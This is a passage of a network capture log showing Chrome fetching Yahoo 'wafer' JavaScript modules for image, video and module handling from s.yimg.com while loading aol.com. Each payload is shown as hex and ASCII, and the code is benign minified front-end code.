2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 72 3d 69 2e 65 72 72 6f 72 43 6c 61 73 73 2c 6f 3d 69 2e 73 65 6c 65 63 74 6f 72 2c 73 3d 69 2e 73 75 63 63 65 73 73 43 6c 61 73 73 3b 61 28 74 68 69 73 2c 74 29 3b 76 61 72 20 6c 3d 6e 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 7b 65 72 72 6f 72 43 6c 61 73 73 3a 72 2c 73 65 6c 65 63 74 6f 72 3a 6f 2c 73 75 63 63 65 73 73 43 6c 61 73 73 3a 73 7d 2c 7b 53 54 41 54 45 5f 41 54 54 52 53 3a 45 7d 29 29 2c 64 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 79 2b 22 73 72 63 22 29 2c Data Ascii: s.length>1&&void 0!==arguments[1]?arguments[1]:{},r=i.errorClass,o=i.selector,s=i.successClass;a(this,t);var l=n(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,e,{errorClass:r,selector:o,successClass:s},{STATE_ATTRS:E})),d=e.getAttribute(y+"src"),
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 73 73 43 6c 61 73 73 3a 73 2c 74 61 72 67 65 74 45 6c 65 6d 3a 53 2c 74 72 69 67 67 65 72 3a 76 2c 74 79 70 65 3a 66 2c 76 69 64 65 6f 48 61 6e 64 6c 65 3a 6e 75 6c 6c 3d 3d 3d 67 7c 7c 76 6f 69 64 20 30 3d 3d 3d 67 3f 31 3a 4e 75 6d 62 65 72 28 67 29 2c 76 69 64 65 6f 4c 6f 61 64 43 6c 61 73 73 4e 61 6d 65 3a 54 2c 61 64 56 69 65 77 43 6f 6e 74 69 6e 75 6f 75 73 3a 6e 75 6c 6c 3d 3d 3d 49 7c 7c 76 6f 69 64 20 30 3d 3d 3d 49 3f 30 3a 4e 75 6d 62 65 72 28 49 29 7d 29 2c 6c 2e 5f 73 74 61 74 65 3d 75 28 7b 7d 2c 6c 2e 5f 73 74 61 74 65 2c 7b 61 64 50 6c 61 79 69 6e 67 3a 21 31 2c 61 64 56 69 65 77 65 64 3a 21 31 2c 63 72 65 61 74 65 64 3a 21 31 2c 6d 6f 75 6e 74 65 64 3a 21 31 2c 70 6c 61 79 69 6e 67 3a 21 31 2c 70 6c 61 79 69 6e 67 41 73 50 6c 61 79 6c 69 Data Ascii: ssClass:s,targetElem:S,trigger:v,type:f,videoHandle:null===g\|\|void 0===g?1:Number(g),videoLoadClassName:T,adViewContinuous:null===I\|\|void 0===I?0:Number(I)}),l._state=u({},l._state,{adPlaying:!1,adViewed:!1,created:!1,mounted:!1,playing:!1,playingAsPlayli
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 74 3d 65 2e 63 6f 6e 66 69 67 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 74 3f 7b 7d 3a 74 2c 61 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6e 3d 61 2e 74 79 70 65 2c 72 3d 61 2e 70 6c 61 79 6c 69 73 74 54 72 69 67 67 65 72 3b 73 77 69 74 63 68 28 6e 29 7b 63 61 73 65 22 79 76 69 64 65 6f 22 3a 74 68 69 73 2e 5f 63 72 65 61 74 65 59 56 69 64 65 6f 28 69 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 79 76 69 64 65 6f 50 6c 61 79 6c 69 73 74 22 3a 76 61 72 20 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 73 3d 6f 2e 65 6c 65 6d 2c 6c 3d 6f 2e 74 61 72 67 65 74 45 6c 65 6d 3b 74 68 69 73 2e 61 64 64 54 6f 50 6c 61 79 6c 69 73 74 46 6f 72 56 69 64 65 Data Ascii: ngth>0&&void 0!==arguments[0]?arguments[0]:{},t=e.config,i=void 0===t?{}:t,a=this._util,n=a.type,r=a.playlistTrigger;switch(n){case"yvideo":this._createYVideo(i);break;case"yvideoPlaylist":var o=this._util,s=o.elem,l=o.targetElem;this.addToPlaylistForVide
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 73 29 7d 7d 7d 7d 2c 7b 6b 65 79 3a 22 5f 63 72 65 61 74 65 59 56 69 64 65 6f 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 61 3d 69 2e 66 6f 72 63 65 2c 6e 3d 76 6f 69 64 20 30 21 3d 3d 61 26 26 61 2c 72 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 61 79 65 72 3b 69 66 28 6e 7c 7c 21 72 29 7b 76 61 72 20 73 3d 74 68 Data Ascii: .classList.add(s)}}}},{key:"_createYVideo",value:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},a=i.force,n=void 0!==a&&a,r=this._util.player;if(n\|\|!r){var s=th
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 52 65 6e 64 65 72 3a 21 31 2c 72 61 70 69 64 43 6f 6e 66 69 67 3a 7b 70 61 67 65 50 61 72 61 6d 73 3a 43 7d 7d 2c 62 2c 7b 61 75 74 6f 70 6c 61 79 3a 21 21 6d 7d 29 3b 50 3d 4f 28 50 29 3b 74 72 79 7b 69 66 28 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 61 79 65 72 29 74 72 79 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 61 79 65 72 2e 64 65 73 74 72 6f 79 28 29 7d 63 61 74 63 68 28 65 29 7b 7d 69 66 28 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 61 79 65 72 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 59 41 48 4f 4f 2e 56 69 64 65 6f 50 6c 61 74 66 6f 72 6d 2e 56 69 64 65 6f 50 6c 61 79 65 72 28 50 29 2c 21 64 29 7b 76 61 72 20 45 3d 6c 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 77 61 66 65 72 2d 79 76 69 64 65 6f 22 29 5b 30 5d 3b 45 26 26 45 Data Ascii: Render:!1,rapidConfig:{pageParams:C}},b,{autoplay:!!m});P=O(P);try{if(this._util.player)try{this._util.player.destroy()}catch(e){}if(this._util.player=new window.YAHOO.VideoPlatform.VideoPlayer(P),!d){var E=l.getElementsByClassName("wafer-yvideo")[0];E&&E
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 69 73 2e 6d 75 74 65 3d 21 74 68 69 73 2e 6d 75 74 65 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 46 75 6c 6c 73 63 72 65 65 6e 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 22 79 76 69 64 65 6f 22 3d 3d 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 74 79 70 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 61 79 65 72 3b 74 26 26 74 2e 73 65 74 46 75 6c 6c 73 63 72 65 65 6e 28 21 74 2e 67 65 74 46 75 6c 6c 73 63 72 65 65 6e 28 29 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 56 69 64 65 6f 4d 6f 75 73 65 45 6e 74 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 22 79 76 69 64 65 6f 50 6c 61 79 6c 69 Data Ascii: is.mute=!this.mute)}},{key:"handleFullscreenClick",value:function(e){if(e.preventDefault(),"yvideo"===this._util.type){var t=this._util.player;t&&t.setFullscreen(!t.getFullscreen())}}},{key:"handleVideoMouseEnter",value:function(){var e=this;"yvideoPlayli
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 3d 65 7d 7d 2c 7b 6b 65 79 3a 22 70 6c 61 79 6c 69 73 74 49 74 65 6d 41 63 74 69 76 65 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 3b 69 66 28 65 29 72 65 74 75 72 6e 20 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 70 6c 61 79 6c 69 73 74 2d 61 63 74 69 76 65 22 29 2c 76 6f 69 64 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 70 6c 61 79 69 6e 67 41 73 50 6c 61 79 6c 69 73 74 3d 21 30 29 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 70 6c 61 79 69 6e 67 41 73 50 6c 61 79 6c 69 73 74 3d 21 31 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 70 6c 61 79 6c 69 73 74 2d 61 63 74 69 76 65 22 29 7d 7d 2c 7b 6b 65 79 3a 22 70 6c 61 79 6c 69 73 74 49 Data Ascii: =e}},{key:"playlistItemActive",set:function(e){var t=this._util.elem;if(e)return t.classList.add("wafer-playlist-active"),void(this._state.playingAsPlaylist=!0);this._state.playingAsPlaylist=!1,t.classList.remove("wafer-playlist-active")}},{key:"playlistI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49784	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:38 UTC	529	OUT	GET /aaq/wf/wf-image-1.4.0.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:38 UTC	886	IN	HTTP/1.1 200 OK x-amz-id-2: TOu/LfvIAqsiNMPvIINrgiQisR2vXQaDGfnT0Ajew3+h0N0hZK7dP+G1cvjRsd6TV47aMQJCESbKKhSJ5jlHUKO89P1RaOzzja9BS70zUjc= x-amz-request-id: J1K5TFPKPP8BNWYX Date: Mon, 06 May 2024 08:40:13 GMT Last-Modified: Fri, 15 Apr 2022 16:44:15 GMT ETag: "0f944c1de0dc49c3bc3219d06247aecb" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 7.1x.E._eKreMwUiAajO1Y2Gu2hueeh2 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 6928 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1518866 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 69 6d 61 67 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 69 6d 61 67 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-image",[],t):"object"==typeof exports?exports["wafer-image"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 2c 72 29 7b 72 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 73 65 74 22 2c 72 29 2c 65 2e 73 72 63 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 2c 72 29 7b 76 61 72 20 61 Data Ascii: e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function n(e,t,r){r&&e.setAttribute("srcset",r),e.src=t}function i(e,t,r){var a
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 72 3d 65 2e 72 6f 6f 74 2c 73 3d 76 6f 69 64 20 30 3d 3d 3d 72 3f 64 6f 63 75 6d 65 6e 74 3a 72 3b 61 28 74 68 69 73 2c 74 29 3b 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 66 69 67 73 2c 69 3d 6e 2e 64 61 72 6b 53 72 63 73 65 74 2c 6c 3d 6e 2e 6e 61 74 69 76 65 43 6c 61 73 73 2c 75 3d 6e 2e 73 65 6c 65 63 74 6f 72 2c 66 3d 6e 2e 73 65 70 61 72 61 74 6f 72 2c 64 3d 6e 2e 73 72 63 73 65 74 2c 70 3d 6e 2e 73 75 63 63 65 73 73 43 6c 61 73 73 2c 79 3d 6f 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 7b 72 6f 6f 74 3a 73 2c 73 65 6c 65 63 74 6f 72 3a 75 2c 73 75 63 63 Data Ascii: ]?arguments[0]:{},r=e.root,s=void 0===r?document:r;a(this,t);var n=t.prototype.configs,i=n.darkSrcset,l=n.nativeClass,u=n.selector,f=n.separator,d=n.srcset,p=n.successClass,y=o(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,{root:s,selector:u,succ
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 72 63 73 65 74 22 2c 64 29 7d 29 29 2c 74 2e 5f 61 64 64 45 76 65 6e 74 73 54 6f 45 6c 65 6d 65 6e 74 28 65 2c 70 2c 22 64 65 66 61 75 6c 74 22 2c 6f 29 7d 72 65 74 75 72 6e 20 61 28 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 43 6f 6c 6f 72 53 63 68 65 6d 61 43 68 61 6e 67 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 64 61 72 6b 6d 6f 64 65 49 6e 73 74 61 6e 63 65 73 2c 74 3d 21 30 2c 72 3d 21 31 2c 61 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 6f 2c 73 3d 65 2e 6b 65 79 73 28 29 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 74 3d 28 6f 3d 73 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 74 3d 21 30 29 7b 76 61 72 20 6e 3d 6f 2e 76 61 6c 75 Data Ascii: rcset",d)})),t._addEventsToElement(e,p,"default",o)}return a()})}},{key:"handleColorSchemaChange",value:function(){var e=this._state.darkmodeInstances,t=!0,r=!1,a=void 0;try{for(var o,s=e.keys()[Symbol.iterator]();!(t=(o=s.next()).done);t=!0){var n=o.valu
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 72 72 6f 72 28 7b 65 6c 65 6d 3a 65 2c 6d 65 74 61 3a 7b 73 72 63 3a 73 2c 73 72 63 73 65 74 3a 69 7d 2c 6e 61 6d 65 3a 22 57 61 66 65 72 49 6d 61 67 65 22 2c 73 74 61 63 6b 3a 6e 75 6c 6c 7d 29 2c 77 28 74 2c 22 65 72 72 6f 72 22 2c 72 29 2c 77 28 74 2c 22 6c 6f 61 64 22 2c 76 29 7d 2c 76 3d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 22 6e 61 74 69 76 65 22 21 3d 3d 72 3f 28 22 69 6d 61 67 65 22 3d 3d 3d 6c 7c 7c 22 70 69 63 74 75 72 65 22 3d 3d 3d 6c 3f 6e 28 65 2c 73 2c 69 29 3a 65 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 3d 27 75 72 6c 28 22 27 2b 73 2b 27 22 29 27 2c 6f 2e 5f 69 74 65 6d 4c 6f 61 64 65 64 28 65 29 29 3a 28 6f 2e 5f 61 64 64 42 6f 75 6e 64 61 72 79 53 75 63 63 65 73 73 43 6c 61 73 73 28 65 29 2c 65 2e 63 6c 61 73 Data Ascii: rror({elem:e,meta:{src:s,srcset:i},name:"WaferImage",stack:null}),w(t,"error",r),w(t,"load",v)},v=function a(){"native"!==r?("image"===l\|\|"picture"===l?n(e,s,i):e.style.backgroundImage='url("'+s+'")',o._itemLoaded(e)):(o._addBoundarySuccessClass(e),e.clas
2024-05-23 22:34:38 UTC	428	IN	Data Raw: 61 74 69 76 65 43 6c 61 73 73 3a 22 77 61 66 65 72 2d 69 6d 67 2d 6e 61 74 69 76 65 22 2c 73 75 63 63 65 73 73 43 6c 61 73 73 3a 22 77 61 66 65 72 2d 69 6d 67 2d 6c 6f 61 64 65 64 22 2c 61 6c 6c 6f 77 50 72 65 66 65 74 63 68 3a 21 30 7d 2c 74 2e 64 65 66 61 75 6c 74 3d 53 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 7d 2c 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 72 65 74 75 72 6e 20 73 3d 6f 28 72 28 22 2e 2f 73 72 63 2f 63 6f 6e 74 72 6f 6c 6c 65 72 2e 6a 73 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 65 3a 7b 64 65 66 61 75 6c Data Ascii: ativeClass:"wafer-img-native",successClass:"wafer-img-loaded",allowPrefetch:!0},t.default=S,e.exports=t.default},"./src/entry.js":function(e,t,r){"use strict";function a(){return s=o(r("./src/controller.js"))}function o(e){return e&&e.__esModule?e:{defaul

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49783	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:38 UTC	530	OUT	GET /aaq/wf/wf-module-2.0.0.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:38 UTC	886	IN	HTTP/1.1 200 OK x-amz-id-2: +W4CdVuxCoinlFqRb2LmwCJyzOKBWNXFkxzmihBvcbk8By7T6gajDFggaIKOsbrGOq7Sp6Sfn2qu6A1bBY+6/0O//obF9ORjUqGrZArWR/4= x-amz-request-id: 8Y41DZ54VHYKBB64 Date: Mon, 22 Apr 2024 12:45:06 GMT Last-Modified: Wed, 15 Feb 2023 07:47:03 GMT ETag: "9390416f18e2d244487267f89affab32" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: Q_qOOo7f75Cp6HzJTHI6hFYh4LHEym7F Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4616 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2713773 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 6d 6f 64 75 6c 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 6d 6f 64 75 6c 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-module",[],t):"object"==typeof exports?exports["wafer-module"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 73 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b Data Ascii: rototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(t,"__esModule",{value:!0});var s=Object.assign\|\|function(e){
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 61 7d 29 2c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 61 29 2c 62 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 6d 6f 64 75 6c 65 3a 61 64 64 65 64 22 2c 7b 65 6c 65 6d 3a 65 2c 6d 65 74 61 3a 7b 69 64 3a 66 7d 7d 29 7d 2c 69 2c 30 29 2c 69 7d 72 65 74 75 72 6e 20 75 28 74 2c 65 29 2c 61 28 74 2c 5b 7b 6b 65 79 3a 22 64 65 73 74 72 6f 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 3b 69 66 28 72 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 69 64 3b 6c 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 6d 6f 64 75 6c 65 3a 64 65 73 74 72 6f 79 65 64 22 2c 7b 65 6c 65 6d 3a 72 2c 6d 65 74 61 3a 7b 69 64 3a 6f 7d 7d Data Ascii: a}),e.classList.add(a),b(function(){l.emitWaferEvent("module:added",{elem:e,meta:{id:f}})},i,0),i}return u(t,e),a(t,[{key:"destroy",value:function(){var e,r=this._util.elem;if(r){var o=this._util.id;l.emitWaferEvent("module:destroyed",{elem:r,meta:{id:o}}
2024-05-23 22:34:38 UTC	716	IN	Data Raw: 65 43 6f 6e 74 72 6f 6c 6c 65 72 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 72 3d 65 2e 72 6f 6f 74 2c 6e 3d 76 6f 69 64 20 30 3d 3d 3d 72 3f 64 6f 63 75 6d 65 6e 74 3a 72 2c 61 3d 65 2e 73 65 6c 65 63 74 6f 72 2c 63 3d 65 2e 73 75 63 63 65 73 73 43 6c 61 73 73 2c 66 3d 76 6f 69 64 20 30 3d 3d 3d 63 3f 22 77 61 66 65 72 2d 6d 6f 64 75 6c 65 2d 63 6f 6d 70 6c 65 74 65 22 3a 63 3b 75 28 74 68 69 73 2c 74 29 3b 76 61 72 20 6c 3d 73 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f Data Ascii: eController,f=function(e){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=e.root,n=void 0===r?document:r,a=e.selector,c=e.successClass,f=void 0===c?"wafer-module-complete":c;u(this,t);var 